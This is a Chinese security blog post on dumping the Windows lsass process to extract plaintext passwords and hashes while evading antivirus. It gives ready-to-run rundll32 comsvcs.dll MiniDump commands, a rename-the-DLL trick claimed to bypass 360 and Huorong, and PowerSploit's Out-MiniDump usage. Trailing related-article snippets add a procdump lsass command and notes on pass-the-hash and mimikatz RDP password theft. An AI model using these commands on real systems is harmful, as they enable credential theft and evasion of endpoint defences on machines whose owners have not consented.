免杀转储lsass进程技巧

VSole2021-12-02 05:58:04

在渗透测试中,最常用的方法是通过dump进程lsass.exe,从中获得明文口令和hash,今天分享两个免杀转储lsass方式,目前亲测可过某60 or 某绒。

第一种:

comsvcs.dll,系统自带。

在原理上都是使用API MiniDumpWriteDump,通过comsvcs.dll的导出函数MiniDump实现dump内存。

BOOL MiniDumpWriteDump(  HANDLE                            hProcess,  DWORD                             ProcessId,  HANDLE                            hFile,  MINIDUMP_TYPE                     DumpType,  PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,  PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,  PMINIDUMP_CALLBACK_INFORMATION    CallbackParam);

注意权限的问题:

在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled禁用状态。

这里直接在cmd下执行rundll32的命令尝试dump指定进程内存文件时,由于无法开启SeDebugPrivilege权限,所以会失败。

解决方式:

管理员权限的powershell下,默认支持SeDebugPrivilege权限,并且状态为Enabled

可以通过powershell执行rundll32的命令实现。

首先查看lsass.exe进程PID:

 

命令格式:

rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full

直接利用发现会被拦截:

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 564 lsass.dmp full

简单的绕过思路:

copy一下comsvcs.dll并命名为随意名字,例如tubai.dll

copy C:\windows\System32\comsvcs.dll tubai.dllrundll32.exe tubai.dll, MiniDump 564 lsass.dmp full

如图,成功转储了lsass

第二种:

PowerSploit 的一个模块Out-MiniDump是一个基于 Powershell 的渗透工具包,可以选择创建进程的完整内存转储。

导入

Import-Module Out-MiniDump

执行

Get-Process lsass | Out-Minidump

总结:

转储姿势很多,应该一起向编写一个程序来手动转储 LSASS 进程才是硬道理。

免杀minidump
本作品采用《CC 协议》,转载必须注明作者和本文链接
在渗透测试中,最常用的方法是通过dump进程lsass.exe,从中获得明文口令和hash,今天分享两个转储lsass方式,目前亲测可过某60 or 某绒。在原理上都是使用API MiniDumpWriteDump,通过comsvcs.dll的导出函数MiniDump实现dump内存。
绕过软dump-Lsass内存
2021-12-02 06:54:18
dump lsass 进程是我们永远都逃不过话题,除非微软那天不用它保存凭据了,自然而然就不dump 它了,抓密码是渗透重要的环节,是横向扩展的基础,接下来讲讲见到如何绕过软dump lsass内存。
所以可以通过它传回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取到lsass.dmp
所以可以通过它传回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取到lsass.dmp
如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos协议均存在PTH: NTLM自然不用多说 kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH
RDP凭证本机RDP密码抓取本机RDP密码是一个我们常遇到的场景,通常使用mimikatz抓取RDP密码。当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,这时抓取的明文密码为空。上不了线的情况下,也可以在webshell中来dump内存,保存到本地解密即可。
0x00 前言这次渗透测试是从一个CVE开始的,从CVE到内网然后到域控!首先对发现了该站点有JBoss页面,经过测试发现具有JBoss反序列化漏洞。使用网上提供的EXP和利用方法,在VPS上面获取了一个shell。
很多人把这个原因归结于KB2871997补丁,实际上不然,这个事情的成因实际是UAC在捣乱。RID为500的账户和属于本地administrators组的域用户在通过网络远程链接时,默认就是高权限令牌。
如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos协议均存在PTH: NTLM自然不用多说 kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH
VSole
网络安全专家